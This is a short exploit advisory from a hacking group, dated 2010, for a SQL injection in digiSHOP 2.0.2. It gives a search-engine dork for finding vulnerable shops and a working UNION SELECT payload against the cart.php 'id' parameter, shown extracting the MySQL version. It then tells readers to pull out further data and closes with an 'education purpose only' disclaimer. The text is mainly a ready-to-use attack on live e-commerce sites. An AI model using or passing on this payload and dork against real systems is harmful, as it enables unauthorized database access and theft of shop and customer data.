digiSHOP 2.0.2 SQL Injection

`-----------------------------------  
TM |  
___ ___ _______ |  
| Y | ______ | | |  
|. 1 ||______||.| | | |  
|. _ | `-|. |-' |  
|: | | |: | |  
|::.|:. | |::.| |  
`--- ---' `---' |  
Private Place Of 0days |  
-----------------------------------  
  
^Exploit Title :  
^Date : 23/7/2010  
^Vendor Site : http://digishop.digisoft77.com/  
^MOD Version : digiSHOP 2.0.2  
^Author : Silic0n (science_media017[At]yahoo.com)  
^Team Site : www.hacking-truths.net  
^Dork : inurl:cart.php?m=features&id=  
------------------------------------------------------------------------------  
Special Thnanks To Jackh4x0r , Gaurav_raj420 , Mr 52 (7) , Dalsim , Zetra , haZl0oh , root4o, Belma(sweety) ,Danzel,  
messsy , ,abronsius ,Nova ,ConsoleFx , Exi , Beenu , R4cal , jaya ,@ry@n,[]0iZy5 & All my friends .  
  
My Frnd Site : www.igniteds.net , www.anti-intruders.org (Will Be Up Very Soon)  
----------------------------------->Exploit<----------------------------------  
  
0x1: Goto http://{localhost}/{Shop path}/cart.php?m=features&id=-15+Union+Select+1,2,@@version,4,5,6,7  
  
MySql Version : 4.1.22-log  
  
Now Use Brain.Exe (7) To extract the Other information  
this exploit is only education Purpose only ,author or team member is not responsible for any harm  
  
------------------------------------------------------------------------------  
  
  
`